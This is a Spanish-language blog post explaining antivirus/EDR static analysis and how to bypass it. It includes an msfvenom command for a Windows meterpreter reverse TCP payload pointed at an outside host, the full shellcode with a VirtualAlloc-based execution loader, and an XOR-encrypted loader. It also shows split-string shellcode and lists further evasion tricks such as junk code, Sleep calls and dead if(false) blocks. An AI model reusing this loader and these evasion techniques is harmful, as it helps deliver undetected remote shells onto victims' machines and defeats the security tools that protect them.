Análisis estático de malware y como hacer bypass
Si te has preguntado o no entiendes bien como un malware es analizado y de que forma puedo evadir estos análisis; pues aquí intentaré explicarlo de la forma más simple que pueda. Como es costumbre esto es con fines educativos.
Definir un malware creo que está de más; si has llegado aquí muy probablemente ya sepas como funciona un malware y que tipos de malwares existen. Existen muchas formas de infectar un equipo y/o dispositivo y formas cada vez más complejas que hacen casi imposible detectarlas. Esta difícil tarea cae sobre los EDR/AVs o algún sistema de seguridad anti-malware. Pero que es lo que se debe analizar en un malware para saber si es sospechoso o no.
En primer lugar un malware es código que alguien escribió para realizar cosas que no debería; pero al final es código, y como cualquier código puede ser analizado estando ofuscado o no. Por otro lado tienes el “que hace el malware”; como infecta el equipo, que hace una vez que lo infecta etc. Es decir se puede analizar su comportamiento. Con esto en mente, entonces se puede decir que existen 2 enfoques que uno puede tener al analizar un malware
Enfocado a un análisis estático; es decir el código que tiene, los patrones en los datos, funciones que serán invocadas, etc. Y un enfoque de comportamiento; es decir un análisis dinámico.
Si has leído sobre esto previamente, hallarás que no e incluido otro tipos de “análisis” y pasa que considero que la clasificación de análisis deberían ser solo estas 2. Cuando ejecutas el malware y cuando NO. Dentro de un análisis estático ya estaría incluido el famoso análisis por firmas; que en esencia compara el hash de una sección del malware con una base de datos del proveedor de seguridad y si existen coincidencias lo detecta como malware. Esta técnica es útil para malwares que ya se encuentran en “distribución” y pues pueden ser detectados rápidamente. Dentro de este análisis también incluyo la heurística estática; que en términos simples analiza el código fuente del malware y compara los patrones con una base de datos de otros malwares. Pero la heurística puede ser también en tiempo real (runtime) es decir se puede analizar el comportamiento que va teniendo el malware; y este ya estaría dentro del análisis dinámico. Esta última técnica es importante para la detección de nuevos malwares, además que es la parte más complicada para realizar bypass.
Análisis estático
Este tipo de análisis como ya mencioné no ejecuta el malware; solo analiza el código, las firmas, trata de entender(sin ejecutar) que es lo que hará cuando finalmente se ejecute. Por todo esto es el análisis más fácil de hacer bypass. Quizá estés pensando en hacer un crypter o un packer o quizá solamente ofuscar; sin embargo esto también es detectado fácilmente por la entropía o falta de homogeneidad en el código.
Todo esto es probable que ya lo sepas o hayas leído previamente así que me enfocaré en lo práctico. Hace ya varios años cuando empecé a averiguar sobre este tema de los EDR/AV y como evadirlos me surgieron muchas preguntas; voy a listar algunas de ellas esperando que coincida con alguna de tus dudas.
¿Los EDR/AVC analizan el código del malware?
Respuesta corta: Sí
Respuesta larga: Lo que hace realmente es analizar los patrones generados como opcode; no literalmente tu código escrito en un IDE. De hecho algunos EDR/AV pueden reconocer incluso el tipo de algoritmo que se está utilizando para armar un ofuscador por ejemplo.
¿Analiza también el código que nunca se ejecuta?
Respuesta corta: Sí, pero depende.
Respuesta larga: Y esto depende primero del EDR/AV, pero esto no se da siempre. De hecho en algunos casos esta una forma dummy de hacer bypass a un sistema así.
Para ejemplificar esto último tomaré como referencia inicial un payload generado vía meterpreter.
mfvenom -a x64 --platform windows -p windowx/x64/meterpreter/wnidows_tcp LHOST=10.10.2.2 LPORT=8080 -f meterpreter.c
#include <stdio.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
"\x18\x44\x8b\x40\x20\x49\x01\xd0\x50\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x4d\x31\xc9\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x01\x16\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
int main(){
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return 0;
}
Si yo compilo esto y lo analizo obtengo algo como esto:
Y es lo que debe pasar realmente. Como se puede ver en el código ((void(*)())exec)();
esta línea es la que finalmente ejecuta el código; pero si ahora yo comento todo lo que hay en main
y simplemente dejo lo que esta en la variable shellcode
; en teoría debería detectar lo mismo; y en efecto sucede.
Por ahí 2 AVS no quisieron detectar; pero en esencia es lo mismo. Y aún así depende de varios factores, por ejemplo si yo escribo un código en C que guarda un archivo en la carpeta TMP, esta función se marcará como sospechosa, haciendo que el software que catalogue como malware. Y puede ser una función que quizá nunca se usé; pero agregando algo como if(false){...}
hace que ya no detecte esa parte del código. Pero bueno creo que se entiende esta parte.
if(FALSE){
//el analisis no pasa por aca
}
¿Sirven las técnicas de ofuscación de malware para evadir EDR/AVs ?
Respuesta corta: Sí
Respuesta larga: Este es un tema un poco largo que voy a tratar de resumir (basado en mi experiencia). Para hacer bypass a un análisis estático (es decir antes que se ejecute) sirve y mucho, pero no garantiza que el análisis de comportamiento sea igual de fácil. Pasa lo siguiente; se suele pensar que a mayor ofuscación o mayor “encriptación” (no se si pueda cuantificarse de ese modo) el bypass será mucho mejor; pero la verdad es que no; o mejor dicho, no es necesario.
Por ejemplo; si nos enfocamos solo en ofuscar la shellcode; podemos decir que aplicando un XOR puede ser suficiente para hacer bypass; sin embargo detectar el mismo patrón no es tan difícil ya que como se sabe si un byte
se le aplica XOR n(byte1)
el siguiente byte(byte2)
también se le hará XOR n
y la diferencia entre el byte1
y el byte2
sigue siendo la misma. No digo que así funcionen los EDR/AV(o quizá sí) a lo que quiero llegar es que mucho cambio no hace con respecto a la shellcode anterior; pero claro estamos hablando de un XOR single byte
. Por otro lado si manejo un cifrado XOR multi byte
, ya la situación cambia y en muchas casos sería más que suficiente para “confundir” al EDR/AV.
Ahora toma en cuenta lo siguiente; para poder descifrar el código ofuscado necesitas de una función; naturalmente para este caso en especial, necesitarás de un loop que permita ir byte a byte la shellcode cifrada. Aquí viene otro pequeño problema; que como ya mencioné líneas arriba; algunos EDR/AV son capaces de detectar esos algoritmo e incluso “simular” su ejecución para analizar el contenido descifrado.
¿Se puede lograr “confundir” al EDR/AV sobre el contenido cifrado?
Respuesta corta: Depende, pero casi siempre sí.
Respuesta larga: Existen formas de evadir estos controles incluso formas bastantes simples; para poner un ejemplo de lo innecesario que es aplicar diferentes ofuscaciones a tu código usaré el mismo payload visto arriba; solo que ahora la shellcode esta ofuscada y he creado una rutina que descifra esto y luego lo ejecuta.
#include "shazam.h"
#include <stdio.h>
unsigned char shellcode[] = "shellcode cifrada con la key"
char key[4] = {0x3, 0x43, 0x54, 0x135};
unsigned char sh[356];
int main(){
for(int i = 0; i< sizeof(shellcode); i++){
sh[i] = (BYTE)((shellcode[i])^key[i%4]);
}
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, sh, sizeof(shellcode));
((void(*)())exec)();
return 0;
}
Como se puede ver ahora he aplicado un simple XOR multi byte
para que mi shellcode este ofuscada y sea “indetectable”. Si compilamos esto y lo analizamos tenemos algo como esto:
Ahora prácticamente es indetectable; es decir no está descifrando el contenido de mi shellcode. Pero aún no esta al 100%; hay un par de AV que lo siguen detectando. Esto puede ser por 2 razones: La primera que detecta la rutina de descifrado y ejecución; la segunda opción es que simula el descifrado y detecta lo que hay dentro del shellcode. Por experiencia sé que se trata del primer caso; ya que es raro que se llegué a lo segundo en muchos EDR/AVs. De hecho haciendo el mismo ejercicio de arriba dejando el main vacío y solo dejando la variable shellcode
debería estar 100% indetectable.
Algunas técnicas adicionales
Esto va a depender de muchos factores; por ejemplo el propósito mismo del malware; pero voy a tratar de ocupar en el siguiente payload algunas de ellas.
Separar la shellcode en diferentes strings ( si usas shellcode ). No he podido confirmar esto, así que realmente un “hack trick” pero según las pruebas que he realizado evade los falsos positivos de muchos sistemas.
unsigned char shellcode1[] = "\xff\x0b\xd7\xd1\xf3\xab\x98\x35\x03\x43\x15\x64\x42\x13\x06\x64\x4b";
unsigned char shellcode2[] = "\x72\x86\x63\x66\x0b\xdf\x67\x63\x0b\xdf\x67\x1b\x0b\xdf\x67\x23\x0b";
unsigned char shellcode3[] = "\x5b\x82\x49\x09\x1c\xbe\x71\x13\x19\x04\xca\x0b\x65\xf5\xaf\x7f\x35";
unsigned char shellcode4[] = "\x49\x01\x6f\x74\x74\xc2\x8a\x59\x74\x02\x82\xb6\xd8\x51\x02\x05\x7d";
unsigned char shellcode5[] = "\x88\x11\x74\xbe\x41\x7f\x1c\x34\xd3\x25\xd5\x4d\x1b\x48\x56\x3a\x86";
unsigned char shellcode6[] = "\x31\x54\x35\x03\xc8\xd4\xbd\x03\x43\x54\x7d\x86\x83\x20\x52\x4b\x42";
...
...
Usa junk code. Esto funciona mucho hasta el día de hoy a pesar que es una técnica bastante antigua. Básicamente es agregar asm code que no hace nada. No funciona en arquitectura x64; más adelante haré una publicación de este tema.
https://docs.microsoft.com/en-us/cpp/assembler/inline/asm?view=msvc-160
Usar Sleep. Pues sí; esto también funciona en algunos casos. El problema es que ahora muchos EDR/AVs ignoran estas instrucciones.
Usar LoadLibrary y GetProcAddress. Pues esto ya lo expliqué anteriormente; es preferible evitar cargar funciones que usen procesos sospechosos para un EDR/AV.
Conclusiones
Si bien es cierto las técnicas que he mostrado no son nuevas; la mayoría siguen funcionando hasta el día de hoy. Considero además que cuando se busca hacer un bypass del análisis estático, se suele complicar demasiado con el uso de muchas tools o de ofuscaciones innecesarias como b64, rc4 o incluso aes; y no digo que no funcione; de hecho hace un buen trabajo, pero al menos yo lo considero innecesario; ya que con algo mas simple se puede lograr algo mejor. Cabe decir que no es lo mismo analizar esto en un entorno controlado que realiza un análisis estático que luego ir a ejecutarlo. De hecho si ejecuto el payload voy a tener este mensaje:
Y con mucho sentido ya que la shellcode cae en memoria en algún momento y pasa a ser descifrado y por último puede ser leído por el AV; pero este ya es un bypass dinámico. Por último solo quiero aclarar que la información y técnicas que mostré son basados en mi experiencia desarrollando esto; hay mucha más información que puedes buscar en internet y poder complementar lo que escribí.